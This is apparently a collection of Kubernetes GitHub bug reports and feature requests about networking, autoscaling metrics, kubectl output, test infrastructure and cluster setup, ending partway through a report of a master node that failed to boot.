1409.5.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r   uname -a \r linux k8s-2 4.11.6-coreos-r1  1 smp thu jun 22 22:04:38 utc 2017 x86_64 intel r  xeon r  cpu e5345 @ 2.33ghz genuineintel gnu/linux\r    \r - install tools:\r - others:

 \r elasticsearch and kibana images, used in fluentd-elasticsearch addon, were updated to newer versions  5.4.0  in cl  b23b919  https://github.com/kubernetes/kubernetes/commit/b23b919b05c84cef84473ff938e33438da33bca0 \r \r i expect that i should be able to fetch corresponding docker images using\r   gcr.io/google_containers/elasticsearch:v5.4.0-1   and   gcr.io/google_containers/kibana:v5.4.0   but unfortunately they are not in the registry.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when i deployed a service with type load balancer, in the large scale, for example, i have 1000 worker nodes, every node will be put into load balancer pool member list.  is it reasonable? you know in the lb's performance should be larger than number of pool member   single pool member performance.\r \r   what you expected to happen  :\r \r can we define a method to pick up some of worker nodes as pool members?\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r kubernetes version  use kubectl version :\r  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ 50ce6464749d05317882f2a4e5e06b3709d59737\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t04:38:26z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ 50ce6464749d05317882f2a4e5e06b3709d59737\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t04:38:26z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r cloud provider or hardware configuration  :\r openstack provider\r \r os  e.g. from /etc/os-release :\r ubuntu\r \r kernel  e.g. uname -a :\r  cat /etc/lsb-release\r distrib_id=ubuntu\r distrib_release=16.04\r distrib_codename=xenial\r distrib_description=\ ubuntu 16.04.2 lts\ \r \r install tools:\r kubespray\r

i did a deployment using yaml file and created pods.\r \r next i am trying to create a hpa object to autoscale my application based on the resource utilization i.e. cpu.\r \r but hpa is not working and giving me below error:\r \r _  conditions:  _\r   type           status  reason                   message\r   ----           ------  ------                   -------\r   abletoscale    true    succeededgetscale        the hpa controller was able to get the target's current scale\r   scalingactive  false   failedgetresourcemetric  the hpa was unable to compute the replica count: unable to get metrics for resource cpu: failed to get pod resource metrics: an error on the server  \ error: 'eof'\ trying to reach: 'http://x.x.x.x:    /apis/metrics/v1alpha1/namespaces/default/pods?labelselector=app%3dcnum'\   has prevented the request from succeeding  get services http:heapster: \r   _events:_  \r   type     reason                        age                 from                       message\r   ----     ------                        ----                ----                       -------\r   warning  failedcomputemetricsreplicas  51m  x411 over 4h   horizontal-pod-autoscaler  failed to get cpu utilization: unable to get metrics for resource cpu: failed to get pod resource metrics: an error on the server  \ error: 'eof'\ trying to reach: 'http://x.x.x.x:    /apis/metrics/v1alpha1/namespaces/default/pods?labelselector=app%3dcnum'\   has prevented the request from succeeding  get services http:heapster: \r   warning  failedgetresourcemetric       1m  x505 over 4h    horizontal-pod-autoscaler  unable to get metrics for resource cpu: failed to get pod resource metrics: an error on the server  \ error: 'eof'\ trying to reach: 'http://x.x.x.x:    /apis/metrics/v1alpha1/namespaces/default/pods?labelselector=app%3dcnum'\   has prevented the request from succeeding  get services http:heapster: \r \r \r the above issue says, trying to reach: 'http://x.x.x.x:    /apis/metrics/v1alpha1/namespaces/default/pods?labelselector=app%3dcnum'\r \r but i am able to get the response when i curl this url. i get ok response when i do wget. the above ip and port is pointing to the heapster running in the cluster. \r \r moreover, i am able to see the resource utilization of cluster objects  pods, nodes etc...  in grafana properly. which means heapster seems to be working fine. it is fetching the resource metrics from cluster and storing them in influx db successfully and grafana is able to pick it and display.\r \r but then why hpa is not able to receive the resource metrics response from heapster. also while doing \ kubectl top pod xyz\ , it is not showing me the details, rather giving me below error:\r \r \ top_pod.go:192  metrics not available for pod default/cnumvar-59d5dd8598-tdp2rdd\ _\r \r please let me know what could be the reason for this issue. how can it be fixed. \r \r kubernetes version: 1.8.3\r heapster version: 1.4.0

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :  bug report\r \r   \r \r   what happened  :\r \r background:\r \r i am using kubernetes externalips attribute in an nginx-ingress-controller service to bind to port 80/443 on each k8s node.  this allows me to not really require a load balancer and use the native features of kubernetes.  traffic can just ingress to any node and it is routed as necessary from that ingress point.  i have multiple ingress controllers running across the cluster.\r \r when looking at the ip address of incoming clients it appears to be either the pod ip, 127.0.0.1 or the host's default network eth0 ip.  when not using proxy protocol the ip is always 127.0.0.1.  when using proxy protocol the behavior is either the host's default network eth0 ip or the pod ip.\r \r externalips and loadbalancer/nodeport seem to be different concepts.  i am looking into using a nodeport instead of externalips but my environment firewalls are opened for 80/443 and nodeports can only run on 30000+.  i am not sure how i could use the loadbalancer concept.  i am creating an internal load balancer manually which routes traffic to each k8s node on 80/443.\r \r as a related note the externaltrafficpolicy concept does not seem to apply to externalips.\r \r   what you expected to happen  :\r \r the client ip address should show as the real-ip of the user.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r setup kubernetes cluster\r deploy canal aka calico/flannel with vxlan for networking\r deploy nginx-ingress-controller or not just use standard service with externalips set to the hostip of each kubernetes node.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.6\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : linux 3.10.0-693.21.1.el7.x86_64  1 smp wed mar 7 19:03:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: yum with google repos  standard install \r - others:\r

after we moved logging all requests in apiserver to v 3  level:\r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/server/httplog/httplog.go l146\r \r we have added the:\r --vmodule=httplog=3\r to config of all scalability tests, because debugging scalability tests is pretty much impossible without having those logs.\r \r however, apparently this is adding a huge lock contention on that, because if vmodule is non-empty, we enter a non-trivial code-path in the glog for every single glog call:\r https://github.com/golang/glog/blob/master/glog.go l999\r \r i did some experiments, and switching --v=3 for apiserver  instead of --v=2 + vmodule  doesn't introduce the significiant change - the difference in amount of produced logs is about 10%  a bit less .\r \r so given that we don't do that in production anyway, what we should do is to:\r - set --v=3 for apiserver in our scalability tests  to have all the logs we need \r - get rid of those vmodule settings\r \r @kubernetes/sig-scalability-bugs

https://testgrid.k8s.io/sig-gcp-master gci-gke\r \r example:\r \r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/1129457203518902274\r \r    \r error: 13 leaked resources\r +name                                                           location    location_scope  size_gb  type         status\r +gke-e2e-78b8f9f547-fbb42-1bd45f0b-8f3f-4613-b4aa-0b8cc301ac90  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-34f5b859-4426-424f-b86d-a4509857aeb3  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-4d87c016-ca88-4354-a54f-8abfb2b7fdf3  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-70ac4e35-bd3a-4109-9f8d-bb8e878cb3bb  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-8217e3cf-ab8d-49b4-8c2e-072f9ab8a582  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-85b31105-8b73-4179-a8fb-51948d5c0036  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-9a67e721-c600-4ea8-a144-6cd185213129  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-bbcdb98b-37c9-4ec0-8ded-d50ff221c76e  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-d7a65484-e0bc-49e5-b6d9-5cf8fecafb88  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-e8e227cc-6f7d-4259-a50a-e726a94a9669  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-e9c18f68-d1b1-463d-8c03-ee9eefaef72b  us-west1-b  zone            2        pd-standard  ready\r +gke-e2e-78b8f9f547-fbb42-ff40bfaf-af40-49d7-9901-f659442bdc41  us-west1-b  zone            2        pd-standard  ready\r    \r \r @msau42 @saad-ali \r

forked from review comments for https://github.com/kubernetes/kubernetes/pull/18113  right now, we allow users to configure apiprefix and apigroupprefix while bringing up apiservers  https://github.com/kubernetes/kubernetes/blob/master/pkg/genericapiserver/genericapiserver.go l147 . but that doesnt really work since \ /api\  and \ /apis\  are hardcoded all through our code, both in server and client. do we want to allow configuring the prefixes? or it will always be \ /api\  and \ /apis\ ?  we should decide which direction we want to go and we can fix code as we touch it.  cc @smarterclayton @deads2k @lavalamp @caesarxuchao @kubernetes/goog-csi

when looking at cleaning the error in  22070 , i wasn't able to simplify the code because of the fact that it had an explicit dependecny on api.podlist.    problem   tests shouldn't be caching pod lists just for the sake of iteration, as that can be done using foreach style functions.   cached pods require extra assertions and make for  at best  more verbose e2es due to extra error handling needs....    solution   genericize foreachpod form examples.go into utils and migrate over to use it wherever possible.  maybe make it more generic then its current impl to do things like validate podcount, timeout period,  this should reduce the amount of times we have to send clients and frameworks and pod lists around, making tests alot more durable.    cc @kubernetes/sig-testing  _specifically, we should_ - find all the pod loops in the e2e directory tree. - look at the abstract pattern they use. - see if we can make foreachpod support them all.  a quick grep shows indeed that we repeat the pattern quite a bit...  so this should result in a significant cleanup.      ./test/e2e/example_cluster_dns.go:              podname := pods.items 0 .name ./test/e2e/serviceloadbalancers.go:     for _, p := range pods.items { ./test/e2e/scheduler_predicates.go:     for _, pod := range pods.items { ./test/e2e/scheduler_predicates.go:     for _, p := range pods.items { ./test/e2e/scheduler_predicates.go:             for _, pod := range pods.items { ./test/e2e/ubernetes_lite.go:   for _, pod := range pods.items { ./test/e2e/nodeoutofdisk.go:    for _, pod := range pods.items { ./test/e2e/etcd_failure.go:             for _, pod := range pods.items { ./test/e2e/etcd_failure.go:             for _, pod := range pods.items { ./test/e2e/rc.go:       for _, pod := range pods.items { ./test/e2e/deployment.go:       for _, pod := range pods.items { ./test/e2e/kibana_logging.go:   for _, pod := range pods.items { ./test/e2e/service.go:          for _, pod := range pods.items { ./test/e2e/service.go:          for _, pod := range pods.items { ./test/e2e/resize_nodes.go:             for _, pod := range pods.items { ./test/e2e/resize_nodes.go:     for _, pod := range pods.items { ./test/e2e/resize_nodes.go:                             nodename := pods.items 0 .spec.nodename ./test/e2e/replica_set.go:      for _, pod := range pods.items { ./test/e2e/job.go:              for _, p := range pods.items { ./test/e2e/es_cluster_logging.go:       for _, pod := range pods.items { ./test/e2e/daemon_restart.go:   for _, p := range pods.items { ./test/e2e/resource_usage_gatherer.go:  for _, pod := range pods.items {      in any case ive only done a breif analysis, may not be entirely practicle but i think this can be cleaned up alot.

looks like the dynamic kubelet config loader is the only other user of createapiserverclientconfig  today . this issue is to plumb the cert-rotating-enabled client to the background process responsible for monitoring config\r \r evolution of https://github.com/kubernetes/kubernetes/pull/41912

is this a bug report or feature request?  :\r > uncomment only one, leave it on its own line: \r  >  \r   what happened  :\r currently both the  daemonset  and  statefulset  controllers create  controllerrevision  objects. the  daemonset  controller propagates annotations in a  deamonset ’s metadata to the  controllerrevision  objects it owns. the  statefulset  controller, however, does not do so to the  controllerrevision  objects it owns.\r \r   what you expected to happen  :\r the  daemonset  and  statefulset  controllers should do annotation propagation consistently. either they both do it or none of them does it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a.\r \r   anything else we need to know?  :\r @kow3ns @janetkuo \r \r   environment  : \r n/a.\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r  kubectl get -o json nodes \r  not only nodes, also resourcequotas, probably any collection? \r outputs correct metadata for each entity, but empty metadata & resourceversion, selflink for the   collection  :\r    \r {\r     \ apiversion\ : \ v1\ ,\r     \ items\ :  \r         {\r             \ apiversion\ : \ v1\ ,\r             \ kind\ : \ node\ ,\r             \ metadata\ : {\r                 ...\r                 \ resourceversion\ : \ 20654\ ,\r                 \ selflink\ : \ /api/v1/nodes/localhost\ ,\r                 \ uid\ : \ c5eeefc3-e4bf-11e7-be0a-5eba880b8555\ \r ...\r ...\r      ,\r     \ kind\ : \ list\ ,\r     \ metadata\ : {},\r     \ resourceversion\ : \ \ ,\r     \ selflink\ : \ \ \r }\r    \r \r same with  kubectl get -o yaml nodes :\r    \r ...\r kind: list\r metadata: {}\r resourceversion: \ \ \r selflink: \ \ \r    \r \r \r this is a client-side problem, because  kubectl get --loglevel=11 nodes  shows server does return collection metadata including resourceversion:\r    \r i1220 16:15:06.517586   15855 request.go:991  response body: {\ kind\ :\ nodelist\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ selflink\ :\ /api/v1/nodes\ ,\ resourceversion\ :\ 20835\ },\ items\ : ... }\r    \r \r   what you expected to happen  :\r get -o json/yaml should display collection-level metadata.\r also note it tries to display  resourceversion  &  selflink  on top level, i'd expect them to be inside  metadata , as received from server  and per api lists like https://v1-8.docs.kubernetes.io/docs/api-reference/v1.8/ nodelist-v1-core don't have  resourceversion  &  selflink  fields directly, they have  metadata .\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl get -o json nodes | tail \r \r   anything else we need to know?  :\r \r   environment  :\r openshift  via minishift , but happens with  kubectl  and as shown above server responses are ok, it's kubectl client problem.\r \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+5115d708d7\ , gitcommit:\ fff65cf\ , gittreestate:\ clean\ , builddate:\ 2017-08-09t21:39:40z\ , goversion:\ go1.9beta2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+5115d708d7\ , gitcommit:\ fff65cf\ , gittreestate:\ clean\ , builddate:\ 2017-08-01t06:24:02z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: thinkpad t450s laptop\r - os  e.g. from /etc/os-release :  fedora 27.  \r - kernel  e.g.  uname -a  :  4.14.5-300.fc27.x86_64  on maching running kubectl,  4.4.41-boot2docker  inside minishift vm.\r - install tools:  kubectl from  origin-clients-3.6.0-1.fc27.x86_64  package, openshift 3.6.0 server from minishift 1.9.0.\r \r   let me know if reproducing on real upstream kubernetes would help  \r

following the doc  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/kubectl-update.md  https://github.com/googlecloudplatform/kubernetes/blob/master/docs/kubectl-update.md ,   i tried the command :      $ kubectl update pods my-pod --patch='{ \ apiversion\ : \ v1beta1\ , \ desiredstate\ : { \ manifest\ :  { \ cpu\ : 100 } }}'      it says:      some fields are immutable      is it a bug or the doc provided a bad example?

the latest runs of our gce- large/scale -performance jobs failed during the density test:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/140  this one failed due to pod-startup latency crossing 5s slo \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-performance/83  this one failed while waiting for some pod to come up \r \r these may be related, but need to dig in further.\r \r cc @kubernetes/sig-scalability-bugs @wojtek-t \r /assign\r /

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r   @kubernetes/sig-network-bugs\r \r   what happened  :\r kube2iam pods on our 1.10.1 cluster failed to communicate with kube-api-server on service ip 100.64.0.1\r    >kubectl logs -n kube-system kube2iam-xxlcv\r time=\ 2018-05-17t13:34:26z\  level=info msg=\ base arn autodetected, arn:aws:iam::                :role/\ \r e0517 13:34:56.853102       1 reflector.go:199  github.com/jtblin/kube2iam/vendor/k8s.io/client-go/tools/cache/reflector.go:94: failed to list  v1.namespace: get https://100.64.0.1:443/api/v1/namespaces?resourceversion=0: dial tcp 100.64.0.1:443: i/o timeout\r    \r   what you expected to happen  :\r kube2iam pods being able to communicate with kube-api-server\r \r   how to reproduce it  as minimally and precisely as possible   :\r on an ipvs enabled cluster run a pod with hostnetwork=true and attempt to communicate with the api-server on ipvs address e.g.  curl -ks 100.64.0.1:443 . if it just sits there and/or finally times out the problem i experienced is correctly reproduced.\r \r note: i suspect that you could reach services which are served by a pod on the same node as your test pod so pick a service that is not served by a pod on the same node.\r \r   anything else we need to know?  :\r cause:\r this issue is caused by a failure to masquerade the packets behind the leaving interface's address. ipvs translates the source to the service address  100.64.0.1 in our case  and sends it out of the external interface.\r    \r >tcpdump -i ens3 -f port 6443\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on ens3, link-type en10mb  ethernet , capture size 262144 bytes\r 16:08:00.827566 ip 100.64.0.1.45844 > 10.1.11.75.6443: flags  s , seq 2072723696, win 43690, options  mss 65495,sackok,ts val 435163552 ecr 0,nop,wscale 7 , length 0\r 16:08:00.827600 ip 100.64.0.1.45846 > 10.1.11.75.6443: flags  s , seq 2605133727, win 43690, options  mss 65495,sackok,ts val 435163552 ecr 0,nop,wscale 7 , length 0\r 16:08:04.827580 ip 100.64.0.1.45826 > 10.1.11.75.6443: flags  s , seq 2456920056, win 43690, options  mss 65495,sackok,ts val 435164552 ecr 0,nop,wscale 7 , length 0\r 16:08:08.843563 ip 100.64.0.1.45844 > 10.1.11.75.6443: flags  s , seq 2072723696, win 43690, options  mss 65495,sackok,ts val 435165556 ecr 0,nop,wscale 7 , length 0\r 16:08:08.843609 ip 100.64.0.1.45846 > 10.1.11.75.6443: flags  s , seq 2605133727, win 43690, options  mss 65495,sackok,ts val 435165556 ecr 0,nop,wscale 7 , length 0\r ^c\r 5 packets captured\r 5 packets received by filter\r 0 packets dropped by kernel\r >\r    \r  then either the external network  external to kubernetes  drops the packet or it arrives at a master node which has the service ip locally, in either scenario the return packets will not return to the originating worker node.\r \r workaround: \r i worked around the issue by adding a nat rule to iptables for packets leaving on the external interface with a source address in the service network:\r    \r >iptables -t nat -a postrouting -s 100.64.0.0/16 -o ens3 -j masquerade\r >\r    \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.1\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:14:26z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  : 4.4.121-k8s \r    \r linux k8s-worker-10-1-8-176 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: none\r - others: none\r

hello everyone!\r i'm living china, our network can't reach gcr.io\r so i want to use use proxy when i run \  kubeadm init \ \r \r my proxy  is on  http://127.0.0.1:45007    , so i run \r export http_proxy=http://127.0.0.1:45007 && kubeadm init \r \r but it said ,\r    \r  init  using kubernetes version: v1.11.1\r  preflight  running pre-flight checks\r \t warning httpproxy : connection to \ https://192.168.1.3\  uses proxy \ http://127.0.0.1:45007\ . if that is not intended, adjust your proxy settings\r \t warning httpproxycidr : connection to \ 10.96.0.0/12\  uses proxy \ http://127.0.0.1:45007\ . this may lead to malfunctional cluster setup. make sure that pod and services ip ranges specified correctly as exceptions in proxy configuration\r i0806 07:03:09.507508   25649 kernel_validator.go:81  validating kernel version\r i0806 07:03:09.507594   25649 kernel_validator.go:96  validating kernel config\r \t warning systemverification : docker version is greater than the most recently validated version. docker version: 18.06.0-ce. max validated version: 17.03\r  preflight/images  pulling images required for setting up a kubernetes cluster\r  preflight/images  this might take a minute or two, depending on the speed of your internet connection\r  preflight/images  you can also perform this action in beforehand using 'kubeadm config images pull'\r  preflight  some fatal errors occurred:\r \t error imagepull : failed to pull image  k8s.gcr.io/kube-apiserver-amd64:v1.11.1 : exit status 1\r \t error imagepull : failed to pull image  k8s.gcr.io/kube-controller-manager-amd64:v1.11.1 : exit status 1\r \t error imagepull : failed to pull image  k8s.gcr.io/kube-scheduler-amd64:v1.11.1 : exit status 1\r \t error imagepull : failed to pull image  k8s.gcr.io/kube-proxy-amd64:v1.11.1 : exit status 1\r \t error imagepull : failed to pull image  k8s.gcr.io/pause:3.1 : exit status 1\r \t error imagepull : failed to pull image  k8s.gcr.io/etcd-amd64:3.2.18 : exit status 1\r \t error imagepull : failed to pull image  k8s.gcr.io/coredns:1.1.3 : exit status 1\r  preflight  if you know what you are doing, you can make a check non-fatal with  --ignore-preflight-errors=... \r    \r \r \r \r \r \r - kubernetes version  use  1.11  :\r - os  ubuntu 18.04 desktop :\r - kernel  4.15 :\r - install tools:\r      kubelet, kubeadm, kubectl \r \r what should i do?   i used the proxy and kubeadm detected my settings, but there are still errors.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i've  successfully  set up a k8s cluster in an environment using one master and two workers and am using flannel for networking\r \r the network appears to be functioning  at least i can deploy a basic nginx container  but in journaclt i see repeatedly  ~every 5 seconds  the following log:\r \r  ιαν 01 03:43:48 master-hostname kubelet 28784 : w0101 03:43:48.321342   28784 cni.go:161  error loading cni config file /etc/cni/net.d/10-flannel.conf: no 'type'; perhaps this is a .conflist \r \r the contents of my  10-flannel.conf  file:\r    \r cat /etc/cni/net.d/10-flannel.conf\r {\r   \ name\ : \ cbr0\ ,\r   \ plugins\ :  \r     {\r       \ type\ : \ flannel\ ,\r       \ delegate\ : {\r         \ hairpinmode\ : true,\r         \ isdefaultgateway\ : true\r       }\r     },\r     {\r       \ type\ : \ portmap\ ,\r       \ capabilities\ : {\r         \ portmappings\ : true\r       }\r     }\r    \r }\r \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r i deployed flannel by issuing:\r \r  kubectl -n kube-system apply -f https://raw.githubusercontent.com/coreos/flannel/bc79dd1505b0c8681ece4de4c0d86c5cd2643275/documentation/kube-flannel.yml   following the recommendation here  https://github.com/kubernetes/kubernetes/issues/48798 issuecomment-427454190  for  known issue 1044  https://github.com/coreos/flannel/issues/1044 .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r  linux master-hostname 4.15.0-43-generic  46-ubuntu smp thu dec 6 14:45:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r <!-- do not edit below this line -->\r 

my understanding is that when we want a cluster of e.g. 3 pods with persistent storage, the best we can do today is to launch 3 rcs, specifying a different persistent volume for each.   we can still group those into one service.  i think it would be nice to be able to just specify one rc, and have it map to a group of persistent volumes.  one way to do that would be to specify a list of persistent volumes in the rc, with some sort of parameterization to say \ this pv is for pod 1, this pv for pod 2, etc\   an alternative which would be \ more k8s\  would be to allow specifying a selector, which would match labels on our persistentvolumeclaims.  the \ identity\  of a pod would be determined not by the rc passing down an identifier to the pod, but by whatever pv it ended up with.  for unaware databases, this might require a smarter management process in the pod, but i'm thinking about that separately ;-   one downside would be that it would be hard to specify groupings; for example we might want a data-volume and a log-volume to be assigned together.  we could specify a further list of fields that must match across all volume allocations to a single pod, but there may be neater solutions  and this may not be that important .  is this a good idea?  or is there a trick i am missing to do this today?

issue  : create a type=loadbalancer service. when the user creates the service, service controller creates the corresponding cloud specific load balancer. user can watch for load balancer to be created using servicestatus. when user deletes the service, service controller deletes the corresponding lb. there is no way for user to know that service controller has deleted the lb.    what you expected to happen  : a way to figure out if cloud lb resources were deleted.    proposal  : use the finalizer/termination condition flow as in namespaces. service controller adds itself as a finalizer to each service. when user deletes a service, apiserver sets the terminating condition on it. service controller observes that the service went in termination condition, it deletes the cloud resources it had created for that service, removes itself as finalizer and then deletes the service if there are no more finalizers.  cc @bgrant0607 @bprashanth @thockin @madhusudancs

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/1993/ failed: federation up {e2e.go}      exit status 1

is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  : 1.7.0-alpha... downgraded master to release-1.5\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : container-optimized os\r -   kernel    e.g.  uname -a  : linux e2e-test-krousey-master 4.4.21+  1 smp fri feb 17 15:34:45 pst 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r -   install tools  : e2e.go\r \r \r   what happened  :\r \r the master failed to come up. the configuration unit failed because it could not find /home/kubernetes/bin/mounter.\r \r    console\r $ sudo systemctl status kube-master-configuration\r ● kube-master-configuration.service - configure kubernetes master\r    loaded: loaded  /etc/systemd/system/kube-master-configuration.service; enabled; vendor preset: disabled \r    active: failed  result: exit-code  since wed 2017-03-01 19:51:32 utc; 8min ago\r   process: 1127 execstart=/home/kubernetes/bin/configure-helper.sh  code=exited, status=1/failure \r   process: 1123 execstartpre=/bin/chmod 544 /home/kubernetes/bin/configure-helper.sh  code=exited, status=0/success \r  main pid: 1127  code=exited, status=1/failure \r \r mar 01 19:51:32 e2e-test-krousey-master configure-helper.sh 1127 : mounting '/dev/disk/by-id/google-master-pd' at '/mnt/disks/master-pd'\r mar 01 19:51:32 e2e-test-krousey-master configure-helper.sh 1127 : mounted master-pd '/dev/disk/by-id/google-master-pd' at '/mnt/disks/master-pd'\r mar 01 19:51:32 e2e-test-krousey-master useradd 1163 : new group: name=etcd, gid=5001\r mar 01 19:51:32 e2e-test-krousey-master useradd 1163 : new user: name=etcd, uid=5001, gid=5001, home=/var/etcd, shell=/sbin/nologin\r mar 01 19:51:32 e2e-test-krousey-master configure-helper.sh 1127 : useradd: warning: the home directory already exists.\r mar 01 19:51:32 e2e-test-krousey-master configure-helper.sh 1127 : not copying any file from skel directory into it.\r mar 01 19:51:32 e2e-test-krousey-master configure-helper.sh 1127 : creating master auth files\r mar 01 19:51:32 e2e-test-krousey-master configure-helper.sh 1127 : creating kubelet kubeconfig file\r mar 01 19:51:32 e2e-test-krousey-master configure-helper.sh 1127 : overriding kubectl\r mar 01 19:51:32 e2e-test-krousey-master configure-helper.sh 1127 : prewarming mounter\r    \r \r    console\r $ ls -alf /home/kubernetes/bin \r total 210096\r drwxr-xr-x 2 root root      4096 mar  1 23:37 ./\r drwxr-xr-x 7 root root      4096 mar  1 23:38 ../\r -rwxr-xr-x 1 root root   5818944 sep  6 17:23 bridge \r -rwxr-xr-x 1 root root   3544864 sep  6 17:23 cnitool \r -r-xr--r-- 1 root root     50018 mar  1 23:37 configure-helper.sh \r -rwxr-xr-x 1 root root     10064 mar  1 23:37 configure.sh \r -rwxr-xr-x 